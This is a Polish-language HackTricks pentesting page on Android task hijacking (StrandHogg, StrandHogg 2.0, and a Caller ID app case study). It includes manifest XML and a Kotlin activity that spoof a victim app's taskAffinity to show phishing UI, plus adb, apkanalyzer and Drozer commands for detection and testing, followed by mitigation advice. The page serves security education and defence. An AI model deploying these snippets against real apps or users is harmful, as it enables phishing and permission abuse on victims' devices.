145 lines
9.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Android Task Hijacking
{{#include ../../banners/hacktricks-training.md}}
## Task, Back Stack and Foreground Activities
W Androidzie, **task** to zasadniczo zestaw aktywności, z którymi użytkownicy wchodzą w interakcję, aby wykonać określone zadanie, zorganizowane w **back stack**. Ten stos porządkuje aktywności na podstawie momentu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **foreground activity**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **foreground task**.
Oto szybkie podsumowanie przejść między aktywnościami:
- **Aktywność 1** zaczyna jako jedyna aktywność w foreground.
- Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do back stack, przynosząc **Aktywność 2** na foreground.
- Rozpoczęcie **Aktywności 3** przesuwa **Aktywność 1** i **Aktywność 2** dalej w stosie, z **Aktywnością 3** teraz na przodzie.
- Zamknięcie **Aktywności 3** przywraca **Aktywność 2** na foreground, pokazując uproszczony mechanizm nawigacji zadań w Androidzie.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
---
## Ataki na affinity zadań
`taskAffinity` informuje Android, do którego zadania `Activity` *preferuje* należeć. Gdy dwie aktywności dzielą tę samą affinity, **Android ma prawo połączyć je w tym samym back-stack, nawet jeśli pochodzą z różnych APK**.
Jeśli atakujący może umieścić złośliwą aktywność na **korzeniu** tego stosu, za każdym razem, gdy ofiara otworzy legalną aplikację, złośliwy interfejs użytkownika będzie pierwszą rzeczą, którą zobaczy użytkownik idealne do phishingu lub nadużywania uprawnień.
Powierzchnia ataku jest szersza, niż wielu deweloperów myśli, ponieważ **każda aktywność automatycznie dziedziczy affinity równą nazwie pakietu aplikacji** (chyba że deweloper ustawi `android:taskAffinity=""`). Dlatego *nic nie robiąc* aplikacja już jest narażona na przejęcie zadań w wersjach Androida przed 11.
### Klasyczny scenariusz "singleTask / StrandHogg"
1. Atakujący deklaruje aktywność z:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. Złośliwa aplikacja jest uruchamiana raz, aby zadanie (z fałszywą affinity) istniało w ostatnich zadaniach.
3. Gdy użytkownik później otworzy prawdziwą aplikację, Android stwierdza, że już istnieje zadanie, którego **root affinity pasuje do pakietu** i po prostu przynosi to zadanie na foreground.
4. Interfejs użytkownika atakującego jest wyświetlany jako pierwszy.
### Wariant DefaultAffinity (bez `singleTask`) Studium przypadku Caller ID
Wrażliwość zgłoszona w aplikacji **Caller ID (caller.id.phone.number.block)** pokazuje, że atak *również* działa przeciwko domyślnemu trybowi uruchamiania `standard`:
1. Aplikacja atakującego tworzy fałszywą aktywność root i natychmiast się ukrywa:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // utrzymaj zadanie w ostatnich, ale poza zasięgiem wzroku
}
}
```
2. Manifest musi tylko skopiować pakiet ofiary do `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Gdy użytkownik zainstaluje i otworzy złośliwą aplikację **raz**, istnieje zadanie, którego affinity równa się pakietowi ofiary (ale znajduje się w tle).
4. Gdy uruchamiana jest prawdziwa aplikacja Caller ID, Android ponownie wykorzystuje to zadanie i przynosi `HackActivity` na foreground → okno phishingowe/nadużycie uprawnień.
> UWAGA: Począwszy od **Android 11 (API 30)** system *nie* umieszcza dwóch pakietów, które nie są częścią tego samego UID, w tym samym zadaniu domyślnie, co łagodzi ten konkretny wariant. Starsze wersje pozostają narażone.
---
### StrandHogg 2.0 (CVE-2020-0096) Przejęcie zadań oparte na refleksji
Majowy biuletyn bezpieczeństwa Google z 2020 roku naprawił bardziej zaawansowany wariant nazwany **StrandHogg 2.0**. Eksploatacja **nie polega w ogóle na `taskAffinity`**; zamiast tego używa *refleksji*, aby dynamicznie wstawić aktywność atakującego na szczyt *każdego* działającego zadania, całkowicie omijając ograniczenie „shared-UID” wprowadzone przez Androida 11.
Kluczowe punkty:
* Złośliwa aplikacja bez uprawnień może, po otwarciu, iterować po działających zadaniach i wywoływać ukryte API, aby **przypisać** swoją własną aktywność do dowolnego zadania.
* Ponieważ aktywność jest wstawiana po czasie wykonania, ani `launchMode`, ani statyczna analiza manifestu nie mogą wykryć ataku z wyprzedzeniem.
* Naprawione przez wprowadzenie sprawdzenia do **Android 8.0/8.1/9** (maj 2020 SPL). **Android 10 i nowsze nie są dotknięte.**
Wykrywanie na urządzeniach przed naprawą można przeprowadzić za pomocą `adb shell dumpsys activity activities` i obserwując podejrzane aktywności, których nazwa pakietu różni się od *affinity* zadania.
Łagodzenie dla starszych urządzeń jest takie samo jak w klasycznym przejęciu zadań **plus** weryfikacja w czasie rzeczywistym (np. wywołując [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) i walidując swoją własną nazwę pakietu).
---
## Lista kontrolna wykrywania i eksploatacji
1. **Przegląd statyczny** Pobierz `AndroidManifest.xml` z docelowego APK i sprawdź, czy każda `<activity>` (lub globalny element `<application>`) zawiera `android:taskAffinity=""` (pusty) **lub** dostosowaną wartość. Narzędzia takie jak:
```bash
# Używając apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity
# Używając AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
```
2. **Przegląd dynamiczny** Na urządzeniu otwórz docelową aplikację i wylistuj zadania:
```bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
```
Zadanie, którego root affinity równa się pakietowi ofiary, ale którego górna aktywność należy do *innego* pakietu, jest sygnałem ostrzegawczym.
3. Stwórz złośliwą aplikację, jak opisano powyżej, lub użyj **[Drozer](https://github.com/WithSecureLabs/drozer)**:
```bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
```
---
## Łagodzenie
Deweloperzy powinni:
* Wyraźnie ustawić `android:taskAffinity=""` na poziomie `<application>` (zalecane) **lub** nadać każdej aktywności unikalną, prywatną affinity.
* Dla wysoce wrażliwych ekranów, połączyć powyższe z `android:launchMode="singleInstance"` lub nowoczesnymi [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zabezpieczeniami.
* Zaktualizować `targetSdkVersion` aplikacji i egzekwować zmiany w zachowaniu **Android 11**, gdzie zadania nie są domyślnie dzielone między pakietami.
* Celować w **Android 12 (API 31) lub wyższy**, aby obowiązkowy atrybut `android:exported` zmusił deweloperów do audytowania każdego komponentu dostępnego z zewnątrz.
* Rozważyć samoobronę w czasie rzeczywistym: okresowo zapytuj `ActivityTaskManager`, aby upewnić się, że pakiet twojej górnej aktywności odpowiada twojemu.
---
## Powiązane techniki przejmowania UI
Przejęcie zadań często jest łączone z lub zastępowane przez **tapjacking** (oszustwo UI oparte na nakładkach). Badania **TapTrap** z 2025 roku pokazały, że całkowicie przezroczyste *aktywności napędzane animacjami* mogą omijać ograniczenia dotykowe nakładek wprowadzone w Androidzie 1214 i nadal oszukiwać użytkowników, aby przyznawali niebezpieczne uprawnienia. Chociaż TapTrap nie jest ściśle *przejęciem* zadań, końcowy cel (kliknięcia phishingowe) jest identyczny dlatego nowoczesne oceny powinny sprawdzać obie powierzchnie ataku.
---
## Referencje
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
- [Promon StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
- [USENIX 2025 TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)
{{#include ../../banners/hacktricks-training.md}}